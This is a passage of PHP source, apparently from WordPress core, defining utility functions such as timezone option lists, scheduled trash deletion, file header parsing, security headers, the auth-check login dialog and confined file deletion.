	if ( $a['t_continent'] === $b['t_continent'] ) {
		if ( $a['t_city'] === $b['t_city'] ) {
			return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] );
		}

		return strnatcasecmp( $a['t_city'], $b['t_city'] );
	} else {
		// Force Etc to the bottom of the list.
		if ( 'Etc' === $a['continent'] ) {
			return 1;
		}

		if ( 'Etc' === $b['continent'] ) {
			return -1;
		}

		return strnatcasecmp( $a['t_continent'], $b['t_continent'] );
	}
}

/**
 * Gives a nicely-formatted list of timezone strings.
 *
 * @since 2.9.0
 * @since 4.7.0 Added the `$locale` parameter.
 *
 * @param string $selected_zone Selected timezone.
 * @param string $locale        Optional. Locale to load the timezones in. Default current site locale.
 * @return string
 */
function wp_timezone_choice( $selected_zone, $locale = null ) {
	static $mo_loaded = false, $locale_loaded = null;

	$continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific' );

	// Load translations for continents and cities.
	if ( ! $mo_loaded || $locale !== $locale_loaded ) {
		$locale_loaded = $locale ? $locale : get_locale();
		$mofile        = WP_LANG_DIR . '/continents-cities-' . $locale_loaded . '.mo';
		unload_textdomain( 'continents-cities', true );
		load_textdomain( 'continents-cities', $mofile, $locale_loaded );
		$mo_loaded = true;
	}

	$tz_identifiers = timezone_identifiers_list();
	$zonen          = array();

	foreach ( $tz_identifiers as $zone ) {
		$zone = explode( '/', $zone );
		if ( ! in_array( $zone[0], $continents, true ) ) {
			continue;
		}

		// This determines what gets set and translated - we don't translate Etc/* strings here, they are done later.
		$exists    = array(
			0 => ( isset( $zone[0] ) && $zone[0] ),
			1 => ( isset( $zone[1] ) && $zone[1] ),
			2 => ( isset( $zone[2] ) && $zone[2] ),
		);
		$exists[3] = ( $exists[0] && 'Etc' !== $zone[0] );
		$exists[4] = ( $exists[1] && $exists[3] );
		$exists[5] = ( $exists[2] && $exists[3] );

		// phpcs:disable WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
		$zonen[] = array(
			'continent'   => ( $exists[0] ? $zone[0] : '' ),
			'city'        => ( $exists[1] ? $zone[1] : '' ),
			'subcity'     => ( $exists[2] ? $zone[2] : '' ),
			't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ),
			't_city'      => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ),
			't_subcity'   => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' ),
		);
		// phpcs:enable
	}
	usort( $zonen, '_wp_timezone_choice_usort_callback' );

	$structure = array();

	if ( empty( $selected_zone ) ) {
		$structure[] = '<option selected="selected" value="">' . __( 'Select a city' ) . '</option>';
	}

	// If this is a deprecated, but valid, timezone string, display it at the top of the list as-is.
	if ( in_array( $selected_zone, $tz_identifiers, true ) === false
		&& in_array( $selected_zone, timezone_identifiers_list( DateTimeZone::ALL_WITH_BC ), true )
	) {
		$structure[] = '<option selected="selected" value="' . esc_attr( $selected_zone ) . '">' . esc_html( $selected_zone ) . '</option>';
	}

	foreach ( $zonen as $key => $zone ) {
		// Build value in an array to join later.
		$value = array( $zone['continent'] );

		if ( empty( $zone['city'] ) ) {
			// It's at the continent level (generally won't happen).
			$display = $zone['t_continent'];
		} else {
			// It's inside a continent group.

			// Continent optgroup.
			if ( ! isset( $zonen[ $key - 1 ] ) || $zonen[ $key - 1 ]['continent'] !== $zone['continent'] ) {
				$label       = $zone['t_continent'];
				$structure[] = '<optgroup label="' . esc_attr( $label ) . '">';
			}

			// Add the city to the value.
			$value[] = $zone['city'];

			$display = $zone['t_city'];
			if ( ! empty( $zone['subcity'] ) ) {
				// Add the subcity to the value.
				$value[]  = $zone['subcity'];
				$display .= ' - ' . $zone['t_subcity'];
			}
		}

		// Build the value.
		$value    = implode( '/', $value );
		$selected = '';
		if ( $value === $selected_zone ) {
			$selected = 'selected="selected" ';
		}
		$structure[] = '<option ' . $selected . 'value="' . esc_attr( $value ) . '">' . esc_html( $display ) . '</option>';

		// Close continent optgroup.
		if ( ! empty( $zone['city'] ) && ( ! isset( $zonen[ $key + 1 ] ) || ( isset( $zonen[ $key + 1 ] ) && $zonen[ $key + 1 ]['continent'] !== $zone['continent'] ) ) ) {
			$structure[] = '</optgroup>';
		}
	}

	// Do UTC.
	$structure[] = '<optgroup label="' . esc_attr__( 'UTC' ) . '">';
	$selected    = '';
	if ( 'UTC' === $selected_zone ) {
		$selected = 'selected="selected" ';
	}
	$structure[] = '<option ' . $selected . 'value="' . esc_attr( 'UTC' ) . '">' . __( 'UTC' ) . '</option>';
	$structure[] = '</optgroup>';

	// Do manual UTC offsets.
	$structure[]  = '<optgroup label="' . esc_attr__( 'Manual Offsets' ) . '">';
	$offset_range = array(
		-12,
		-11.5,
		-11,
		-10.5,
		-10,
		-9.5,
		-9,
		-8.5,
		-8,
		-7.5,
		-7,
		-6.5,
		-6,
		-5.5,
		-5,
		-4.5,
		-4,
		-3.5,
		-3,
		-2.5,
		-2,
		-1.5,
		-1,
		-0.5,
		0,
		0.5,
		1,
		1.5,
		2,
		2.5,
		3,
		3.5,
		4,
		4.5,
		5,
		5.5,
		5.75,
		6,
		6.5,
		7,
		7.5,
		8,
		8.5,
		8.75,
		9,
		9.5,
		10,
		10.5,
		11,
		11.5,
		12,
		12.75,
		13,
		13.75,
		14,
	);
	foreach ( $offset_range as $offset ) {
		if ( 0 <= $offset ) {
			$offset_name = '+' . $offset;
		} else {
			$offset_name = (string) $offset;
		}

		$offset_value = $offset_name;
		$offset_name  = str_replace( array( '.25', '.5', '.75' ), array( ':15', ':30', ':45' ), $offset_name );
		$offset_name  = 'UTC' . $offset_name;
		$offset_value = 'UTC' . $offset_value;
		$selected     = '';
		if ( $offset_value === $selected_zone ) {
			$selected = 'selected="selected" ';
		}
		$structure[] = '<option ' . $selected . 'value="' . esc_attr( $offset_value ) . '">' . esc_html( $offset_name ) . '</option>';

	}
	$structure[] = '</optgroup>';

	return implode( "\n", $structure );
}

/**
 * Strips close comment and close php tags from file headers used by WP.
 *
 * @since 2.8.0
 * @access private
 *
 * @see https://core.trac.wordpress.org/ticket/8497
 *
 * @param string $str Header comment to clean up.
 * @return string
 */
function _cleanup_header_comment( $str ) {
	return trim( preg_replace( '/\s*(?:\*\/|\?>).*/', '', $str ) );
}

/**
 * Permanently deletes comments or posts of any type that have held a status
 * of 'trash' for the number of days defined in EMPTY_TRASH_DAYS.
 *
 * The default value of `EMPTY_TRASH_DAYS` is 30 (days).
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function wp_scheduled_delete() {
	global $wpdb;

	$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );

	$posts_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A );

	foreach ( (array) $posts_to_delete as $post ) {
		$post_id = (int) $post['post_id'];
		if ( ! $post_id ) {
			continue;
		}

		$del_post = get_post( $post_id );

		if ( ! $del_post || 'trash' !== $del_post->post_status ) {
			delete_post_meta( $post_id, '_wp_trash_meta_status' );
			delete_post_meta( $post_id, '_wp_trash_meta_time' );
		} else {
			wp_delete_post( $post_id );
		}
	}

	$comments_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A );

	foreach ( (array) $comments_to_delete as $comment ) {
		$comment_id = (int) $comment['comment_id'];
		if ( ! $comment_id ) {
			continue;
		}

		$del_comment = get_comment( $comment_id );

		if ( ! $del_comment || 'trash' !== $del_comment->comment_approved ) {
			delete_comment_meta( $comment_id, '_wp_trash_meta_time' );
			delete_comment_meta( $comment_id, '_wp_trash_meta_status' );
		} else {
			wp_delete_comment( $del_comment );
		}
	}
}

/**
 * Retrieves metadata from a file.
 *
 * Searches for metadata in the first 8 KB of a file, such as a plugin or theme.
 * Each piece of metadata must be on its own line. Fields can not span multiple
 * lines, the value will get cut at the end of the first line.
 *
 * If the file data is not within that first 8 KB, then the author should correct
 * their plugin file and move the data headers to the top.
 *
 * @link https://codex.wordpress.org/File_Header
 *
 * @since 2.9.0
 *
 * @param string $file            Absolute path to the file.
 * @param array  $default_headers List of headers, in the format `array( 'HeaderKey' => 'Header Name' )`.
 * @param string $context         Optional. If specified adds filter hook {@see 'extra_$context_headers'}.
 *                                Default empty string.
 * @return string[] Array of file header values keyed by header name.
 */
function get_file_data( $file, $default_headers, $context = '' ) {
	// Pull only the first 8 KB of the file in.
	$file_data = file_get_contents( $file, false, null, 0, 8 * KB_IN_BYTES );

	if ( false === $file_data ) {
		$file_data = '';
	}

	// Make sure we catch CR-only line endings.
	$file_data = str_replace( "\r", "\n", $file_data );

	/**
	 * Filters extra file headers by context.
	 *
	 * The dynamic portion of the hook name, `$context`, refers to
	 * the context where extra headers might be loaded.
	 *
	 * @since 2.9.0
	 *
	 * @param array $extra_context_headers Empty array by default.
	 */
	$extra_headers = $context ? apply_filters( "extra_{$context}_headers", array() ) : array();
	if ( $extra_headers ) {
		$extra_headers = array_combine( $extra_headers, $extra_headers ); // Keys equal values.
		$all_headers   = array_merge( $extra_headers, (array) $default_headers );
	} else {
		$all_headers = $default_headers;
	}

	foreach ( $all_headers as $field => $regex ) {
		if ( preg_match( '/^(?:[ \t]*<\?php)?[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] ) {
			$all_headers[ $field ] = _cleanup_header_comment( $match[1] );
		} else {
			$all_headers[ $field ] = '';
		}
	}

	return $all_headers;
}

/**
 * Returns true.
 *
 * Useful for returning true to filters easily.
 *
 * @since 3.0.0
 *
 * @see __return_false()
 *
 * @return true True.
 */
function __return_true() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
	return true;
}

/**
 * Returns false.
 *
 * Useful for returning false to filters easily.
 *
 * @since 3.0.0
 *
 * @see __return_true()
 *
 * @return false False.
 */
function __return_false() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
	return false;
}

/**
 * Returns 0.
 *
 * Useful for returning 0 to filters easily.
 *
 * @since 3.0.0
 *
 * @return int 0.
 */
function __return_zero() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
	return 0;
}

/**
 * Returns an empty array.
 *
 * Useful for returning an empty array to filters easily.
 *
 * @since 3.0.0
 *
 * @return array Empty array.
 */
function __return_empty_array() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
	return array();
}

/**
 * Returns null.
 *
 * Useful for returning null to filters easily.
 *
 * @since 3.4.0
 *
 * @return null Null value.
 */
function __return_null() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
	return null;
}

/**
 * Returns an empty string.
 *
 * Useful for returning an empty string to filters easily.
 *
 * @since 3.7.0
 *
 * @see __return_null()
 *
 * @return string Empty string.
 */
function __return_empty_string() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
	return '';
}

/**
 * Sends a HTTP header to disable content type sniffing in browsers which support it.
 *
 * @since 3.0.0
 *
 * @see https://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx
 * @see https://src.chromium.org/viewvc/chrome?view=rev&revision=6985
 */
function send_nosniff_header() {
	header( 'X-Content-Type-Options: nosniff' );
}

/**
 * Returns a MySQL expression for selecting the week number based on the start_of_week option.
 *
 * @ignore
 * @since 3.0.0
 *
 * @param string $column Database column.
 * @return string SQL clause.
 */
function _wp_mysql_week( $column ) {
	$start_of_week = (int) get_option( 'start_of_week' );
	switch ( $start_of_week ) {
		case 1:
			return "WEEK( $column, 1 )";
		case 2:
		case 3:
		case 4:
		case 5:
		case 6:
			return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )";
		case 0:
		default:
			return "WEEK( $column, 0 )";
	}
}

/**
 * Finds hierarchy loops using a callback function that maps object IDs to parent IDs.
 *
 * @since 3.1.0
 * @access private
 *
 * @param callable $callback      Function that accepts ( ID, $callback_args ) and outputs parent_ID.
 * @param int      $start         The ID to start the loop check at.
 * @param int      $start_parent  The parent_ID of $start to use instead of calling $callback( $start ).
 *                                Use null to always use $callback.
 * @param array    $callback_args Optional. Additional arguments to send to $callback. Default empty array.
 * @return array IDs of all members of loop.
 */
function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) {
	$override = is_null( $start_parent ) ? array() : array( $start => $start_parent );

	$arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args );
	if ( ! $arbitrary_loop_member ) {
		return array();
	}

	return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true );
}

/**
 * Uses the "The Tortoise and the Hare" algorithm to detect loops.
 *
 * For every step of the algorithm, the hare takes two steps and the tortoise one.
 * If the hare ever laps the tortoise, there must be a loop.
 *
 * @since 3.1.0
 * @access private
 *
 * @param callable $callback      Function that accepts ( ID, callback_arg, ... ) and outputs parent_ID.
 * @param int      $start         The ID to start the loop check at.
 * @param array    $override      Optional. An array of ( ID => parent_ID, ... ) to use instead of $callback.
 *                                Default empty array.
 * @param array    $callback_args Optional. Additional arguments to send to $callback. Default empty array.
 * @param bool     $_return_loop  Optional. Return loop members or just detect presence of loop? Only set
 *                                to true if you already know the given $start is part of a loop (otherwise
 *                                the returned array might include branches). Default false.
 * @return mixed Scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if
 *               $_return_loop
 */
function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) {
	$tortoise        = $start;
	$hare            = $start;
	$evanescent_hare = $start;
	$return          = array();

	// Set evanescent_hare to one past hare. Increment hare two steps.
	while (
		$tortoise
	&&
		( $evanescent_hare = isset( $override[ $hare ] ) ? $override[ $hare ] : call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) )
	&&
		( $hare = isset( $override[ $evanescent_hare ] ) ? $override[ $evanescent_hare ] : call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) )
	) {
		if ( $_return_loop ) {
			$return[ $tortoise ]        = true;
			$return[ $evanescent_hare ] = true;
			$return[ $hare ]            = true;
		}

		// Tortoise got lapped - must be a loop.
		if ( $tortoise === $evanescent_hare || $tortoise === $hare ) {
			return $_return_loop ? $return : $tortoise;
		}

		// Increment tortoise by one step.
		$tortoise = isset( $override[ $tortoise ] ) ? $override[ $tortoise ] : call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) );
	}

	return false;
}

/**
 * Sends a HTTP header to limit rendering of pages to same origin iframes.
 *
 * @since 3.1.3
 *
 * @see https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
 */
function send_frame_options_header() {
	header( 'X-Frame-Options: SAMEORIGIN' );
}

/**
 * Retrieves a list of protocols to allow in HTML attributes.
 *
 * @since 3.3.0
 * @since 4.3.0 Added 'webcal' to the protocols array.
 * @since 4.7.0 Added 'urn' to the protocols array.
 * @since 5.3.0 Added 'sms' to the protocols array.
 * @since 5.6.0 Added 'irc6' and 'ircs' to the protocols array.
 *
 * @see wp_kses()
 * @see esc_url()
 *
 * @return string[] Array of allowed protocols. Defaults to an array containing 'http', 'https',
 *                  'ftp', 'ftps', 'mailto', 'news', 'irc', 'irc6', 'ircs', 'gopher', 'nntp', 'feed',
 *                  'telnet', 'mms', 'rtsp', 'sms', 'svn', 'tel', 'fax', 'xmpp', 'webcal', and 'urn'.
 *                  This covers all common link protocols, except for 'javascript' which should not
 *                  be allowed for untrusted users.
 */
function wp_allowed_protocols() {
	static $protocols = array();

	if ( empty( $protocols ) ) {
		$protocols = array( 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'irc6', 'ircs', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'sms', 'svn', 'tel', 'fax', 'xmpp', 'webcal', 'urn' );
	}

	if ( ! did_action( 'wp_loaded' ) ) {
		/**
		 * Filters the list of protocols allowed in HTML attributes.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $protocols Array of allowed protocols e.g. 'http', 'ftp', 'tel', and more.
		 */
		$protocols = array_unique( (array) apply_filters( 'kses_allowed_protocols', $protocols ) );
	}

	return $protocols;
}

/**
 * Returns a comma-separated string or array of functions that have been called to get
 * to the current point in code.
 *
 * @since 3.4.0
 *
 * @see https://core.trac.wordpress.org/ticket/19589
 *
 * @param string $ignore_class Optional. A class to ignore all function calls within - useful
 *                             when you want to just give info about the callee. Default null.
 * @param int    $skip_frames  Optional. A number of stack frames to skip - useful for unwinding
 *                             back to the source of the issue. Default 0.
 * @param bool   $pretty       Optional. Whether you want a comma separated string instead of
 *                             the raw array returned. Default true.
 * @return string|array Either a string containing a reversed comma separated trace or an array
 *                      of individual calls.
 */
function wp_debug_backtrace_summary( $ignore_class = null, $skip_frames = 0, $pretty = true ) {
	static $truncate_paths;

	$trace       = debug_backtrace( false );
	$caller      = array();
	$check_class = ! is_null( $ignore_class );
	++$skip_frames; // Skip this function.

	if ( ! isset( $truncate_paths ) ) {
		$truncate_paths = array(
			wp_normalize_path( WP_CONTENT_DIR ),
			wp_normalize_path( ABSPATH ),
		);
	}

	foreach ( $trace as $call ) {
		if ( $skip_frames > 0 ) {
			--$skip_frames;
		} elseif ( isset( $call['class'] ) ) {
			if ( $check_class && $ignore_class === $call['class'] ) {
				continue; // Filter out calls.
			}

			$caller[] = "{$call['class']}{$call['type']}{$call['function']}";
		} else {
			if ( in_array( $call['function'], array( 'do_action', 'apply_filters', 'do_action_ref_array', 'apply_filters_ref_array' ), true ) ) {
				$caller[] = "{$call['function']}('{$call['args'][0]}')";
			} elseif ( in_array( $call['function'], array( 'include', 'include_once', 'require', 'require_once' ), true ) ) {
				$filename = isset( $call['args'][0] ) ? $call['args'][0] : '';
				$caller[] = $call['function'] . "('" . str_replace( $truncate_paths, '', wp_normalize_path( $filename ) ) . "')";
			} else {
				$caller[] = $call['function'];
			}
		}
	}
	if ( $pretty ) {
		return implode( ', ', array_reverse( $caller ) );
	} else {
		return $caller;
	}
}

/**
 * Retrieves IDs that are not already present in the cache.
 *
 * @since 3.4.0
 * @since 6.1.0 This function is no longer marked as "private".
 *
 * @param int[]  $object_ids  Array of IDs.
 * @param string $cache_group The cache group to check against.
 * @return int[] Array of IDs not present in the cache.
 */
function _get_non_cached_ids( $object_ids, $cache_group ) {
	$object_ids = array_filter( $object_ids, '_validate_cache_id' );
	$object_ids = array_unique( array_map( 'intval', $object_ids ), SORT_NUMERIC );

	if ( empty( $object_ids ) ) {
		return array();
	}

	$non_cached_ids = array();
	$cache_values   = wp_cache_get_multiple( $object_ids, $cache_group );

	foreach ( $cache_values as $id => $value ) {
		if ( false === $value ) {
			$non_cached_ids[] = (int) $id;
		}
	}

	return $non_cached_ids;
}

/**
 * Checks whether the given cache ID is either an integer or an integer-like string.
 *
 * Both `16` and `"16"` are considered valid, other numeric types and numeric strings
 * (`16.3` and `"16.3"`) are considered invalid.
 *
 * @since 6.3.0
 *
 * @param mixed $object_id The cache ID to validate.
 * @return bool Whether the given $object_id is a valid cache ID.
 */
function _validate_cache_id( $object_id ) {
	/*
	 * filter_var() could be used here, but the `filter` PHP extension
	 * is considered optional and may not be available.
	 */
	if ( is_int( $object_id )
		|| ( is_string( $object_id ) && (string) (int) $object_id === $object_id ) ) {
		return true;
	}

	/* translators: %s: The type of the given object ID. */
	$message = sprintf( __( 'Object ID must be an integer, %s given.' ), gettype( $object_id ) );
	_doing_it_wrong( '_get_non_cached_ids', $message, '6.3.0' );

	return false;
}

/**
 * Tests if the current device has the capability to upload files.
 *
 * @since 3.4.0
 * @access private
 *
 * @return bool Whether the device is able to upload files.
 */
function _device_can_upload() {
	if ( ! wp_is_mobile() ) {
		return true;
	}

	$ua = $_SERVER['HTTP_USER_AGENT'];

	if ( str_contains( $ua, 'iPhone' )
		|| str_contains( $ua, 'iPad' )
		|| str_contains( $ua, 'iPod' ) ) {
			return preg_match( '#OS ([\d_]+) like Mac OS X#', $ua, $version ) && version_compare( $version[1], '6', '>=' );
	}

	return true;
}

/**
 * Tests if a given path is a stream URL
 *
 * @since 3.5.0
 *
 * @param string $path The resource path or URL.
 * @return bool True if the path is a stream URL.
 */
function wp_is_stream( $path ) {
	$scheme_separator = strpos( $path, '://' );

	if ( false === $scheme_separator ) {
		// $path isn't a stream.
		return false;
	}

	$stream = substr( $path, 0, $scheme_separator );

	return in_array( $stream, stream_get_wrappers(), true );
}

/**
 * Tests if the supplied date is valid for the Gregorian calendar.
 *
 * @since 3.5.0
 *
 * @link https://www.php.net/manual/en/function.checkdate.php
 *
 * @param int    $month       Month number.
 * @param int    $day         Day number.
 * @param int    $year        Year number.
 * @param string $source_date The date to filter.
 * @return bool True if valid date, false if not valid date.
 */
function wp_checkdate( $month, $day, $year, $source_date ) {
	/**
	 * Filters whether the given date is valid for the Gregorian calendar.
	 *
	 * @since 3.5.0
	 *
	 * @param bool   $checkdate   Whether the given date is valid.
	 * @param string $source_date Date to check.
	 */
	return apply_filters( 'wp_checkdate', checkdate( $month, $day, $year ), $source_date );
}

/**
 * Loads the auth check for monitoring whether the user is still logged in.
 *
 * Can be disabled with remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );
 *
 * This is disabled for certain screens where a login screen could cause an
 * inconvenient interruption. A filter called {@see 'wp_auth_check_load'} can be used
 * for fine-grained control.
 *
 * @since 3.6.0
 */
function wp_auth_check_load() {
	if ( ! is_admin() && ! is_user_logged_in() ) {
		return;
	}

	if ( defined( 'IFRAME_REQUEST' ) ) {
		return;
	}

	$screen = get_current_screen();
	$hidden = array( 'update', 'update-network', 'update-core', 'update-core-network', 'upgrade', 'upgrade-network', 'network' );
	$show   = ! in_array( $screen->id, $hidden, true );

	/**
	 * Filters whether to load the authentication check.
	 *
	 * Returning a falsey value from the filter will effectively short-circuit
	 * loading the authentication check.
	 *
	 * @since 3.6.0
	 *
	 * @param bool      $show   Whether to load the authentication check.
	 * @param WP_Screen $screen The current screen object.
	 */
	if ( apply_filters( 'wp_auth_check_load', $show, $screen ) ) {
		wp_enqueue_style( 'wp-auth-check' );
		wp_enqueue_script( 'wp-auth-check' );

		add_action( 'admin_print_footer_scripts', 'wp_auth_check_html', 5 );
		add_action( 'wp_print_footer_scripts', 'wp_auth_check_html', 5 );
	}
}

/**
 * Outputs the HTML that shows the wp-login dialog when the user is no longer logged in.
 *
 * @since 3.6.0
 */
function wp_auth_check_html() {
	$login_url      = wp_login_url();
	$current_domain = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'];
	$same_domain    = str_starts_with( $login_url, $current_domain );

	/**
	 * Filters whether the authentication check originated at the same domain.
	 *
	 * @since 3.6.0
	 *
	 * @param bool $same_domain Whether the authentication check originated at the same domain.
	 */
	$same_domain = apply_filters( 'wp_auth_check_same_domain', $same_domain );
	$wrap_class  = $same_domain ? 'hidden' : 'hidden fallback';

	?>
	<div id="wp-auth-check-wrap" class="<?php echo $wrap_class; ?>">
	<div id="wp-auth-check-bg"></div>
	<div id="wp-auth-check">
	<button type="button" class="wp-auth-check-close button-link"><span class="screen-reader-text">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Close dialog' );
		?>
	</span></button>
	<?php

	if ( $same_domain ) {
		$login_src = add_query_arg(
			array(
				'interim-login' => '1',
				'wp_lang'       => get_user_locale(),
			),
			$login_url
		);
		?>
		<div id="wp-auth-check-form" class="loading" data-src="<?php echo esc_url( $login_src ); ?>"></div>
		<?php
	}

	?>
	<div class="wp-auth-fallback">
		<p><b class="wp-auth-fallback-expired" tabindex="0"><?php _e( 'Session expired' ); ?></b></p>
		<p><a href="<?php echo esc_url( $login_url ); ?>" target="_blank"><?php _e( 'Please log in again.' ); ?></a>
		<?php _e( 'The login page will open in a new tab. After logging in you can close it and return to this page.' ); ?></p>
	</div>
	</div>
	</div>
	<?php
}

/**
 * Checks whether a user is still logged in, for the heartbeat.
 *
 * Send a result that shows a log-in box if the user is no longer logged in,
 * or if their cookie is within the grace period.
 *
 * @since 3.6.0
 *
 * @global int $login_grace_period
 *
 * @param array $response  The Heartbeat response.
 * @return array The Heartbeat response with 'wp-auth-check' value set.
 */
function wp_auth_check( $response ) {
	$response['wp-auth-check'] = is_user_logged_in() && empty( $GLOBALS['login_grace_period'] );
	return $response;
}

/**
 * Returns RegEx body to liberally match an opening HTML tag.
 *
 * Matches an opening HTML tag that:
 * 1. Is self-closing or
 * 2. Has no body but has a closing tag of the same name or
 * 3. Contains a body and a closing tag of the same name
 *
 * Note: this RegEx does not balance inner tags and does not attempt
 * to produce valid HTML
 *
 * @since 3.6.0
 *
 * @param string $tag An HTML tag name. Example: 'video'.
 * @return string Tag RegEx.
 */
function get_tag_regex( $tag ) {
	if ( empty( $tag ) ) {
		return '';
	}
	return sprintf( '<%1$s[^<]*(?:>[\s\S]*<\/%1$s>|\s*\/>)', tag_escape( $tag ) );
}

/**
 * Retrieves a canonical form of the provided charset appropriate for passing to PHP
 * functions such as htmlspecialchars() and charset HTML attributes.
 *
 * @since 3.6.0
 * @access private
 *
 * @see https://core.trac.wordpress.org/ticket/23688
 *
 * @param string $charset A charset name.
 * @return string The canonical form of the charset.
 */
function _canonical_charset( $charset ) {
	if ( 'utf-8' === strtolower( $charset ) || 'utf8' === strtolower( $charset ) ) {

		return 'UTF-8';
	}

	if ( 'iso-8859-1' === strtolower( $charset ) || 'iso8859-1' === strtolower( $charset ) ) {

		return 'ISO-8859-1';
	}

	return $charset;
}

/**
 * Sets the mbstring internal encoding to a binary safe encoding when func_overload
 * is enabled.
 *
 * When mbstring.func_overload is in use for multi-byte encodings, the results from
 * strlen() and similar functions respect the utf8 characters, causing binary data
 * to return incorrect lengths.
 *
 * This function overrides the mbstring encoding to a binary-safe encoding, and
 * resets it to the users expected encoding afterwards through the
 * `reset_mbstring_encoding` function.
 *
 * It is safe to recursively call this function, however each
 * `mbstring_binary_safe_encoding()` call must be followed up with an equal number
 * of `reset_mbstring_encoding()` calls.
 *
 * @since 3.7.0
 *
 * @see reset_mbstring_encoding()
 *
 * @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding.
 *                    Default false.
 */
function mbstring_binary_safe_encoding( $reset = false ) {
	static $encodings  = array();
	static $overloaded = null;

	if ( is_null( $overloaded ) ) {
		if ( function_exists( 'mb_internal_encoding' )
			&& ( (int) ini_get( 'mbstring.func_overload' ) & 2 ) // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
		) {
			$overloaded = true;
		} else {
			$overloaded = false;
		}
	}

	if ( false === $overloaded ) {
		return;
	}

	if ( ! $reset ) {
		$encoding = mb_internal_encoding();
		array_push( $encodings, $encoding );
		mb_internal_encoding( 'ISO-8859-1' );
	}

	if ( $reset && $encodings ) {
		$encoding = array_pop( $encodings );
		mb_internal_encoding( $encoding );
	}
}

/**
 * Resets the mbstring internal encoding to a users previously set encoding.
 *
 * @see mbstring_binary_safe_encoding()
 *
 * @since 3.7.0
 */
function reset_mbstring_encoding() {
	mbstring_binary_safe_encoding( true );
}

/**
 * Filters/validates a variable as a boolean.
 *
 * Alternative to `filter_var( $value, FILTER_VALIDATE_BOOLEAN )`.
 *
 * @since 4.0.0
 *
 * @param mixed $value Boolean value to validate.
 * @return bool Whether the value is validated.
 */
function wp_validate_boolean( $value ) {
	if ( is_bool( $value ) ) {
		return $value;
	}

	if ( is_string( $value ) && 'false' === strtolower( $value ) ) {
		return false;
	}

	return (bool) $value;
}

/**
 * Deletes a file.
 *
 * @since 4.2.0
 *
 * @param string $file The path to the file to delete.
 */
function wp_delete_file( $file ) {
	/**
	 * Filters the path of the file to delete.
	 *
	 * @since 2.1.0
	 *
	 * @param string $file Path to the file to delete.
	 */
	$delete = apply_filters( 'wp_delete_file', $file );
	if ( ! empty( $delete ) ) {
		@unlink( $delete );
	}
}

/**
 * Deletes a file if its path is within the given directory.
 *
 * @since 4.9.7
 *
 * @param string $file      Absolute path to the file to delete.
 * @param string $directory Absolute path to a directory.
 * @return bool True on success, false on failure.
 */
function wp_delete_file_from_directory( $file, $directory ) {
	if ( wp_is_stream( $file ) ) {
		$real_file      = $file;
		$real_directory = $directory;
	} else {
		$real_file      = realpath( wp_normalize_path( $file ) );
		$real_directory = realpath( wp_normalize_path( $directory ) );
	}

	if ( false !== $real_file ) {
		$real_file = wp_normalize_path( $real_file );
	}

	if ( false !== $real_directory ) {
		$real_directory = wp_normalize_path( $real_directory );
	}

	if ( false === $real_file || false === $real_directory || ! str_starts_with( $real_file, trailingslashit( $real_directory ) ) ) {
		return false;
	}

	wp_delete_file( $file );

	return true;
}

/**
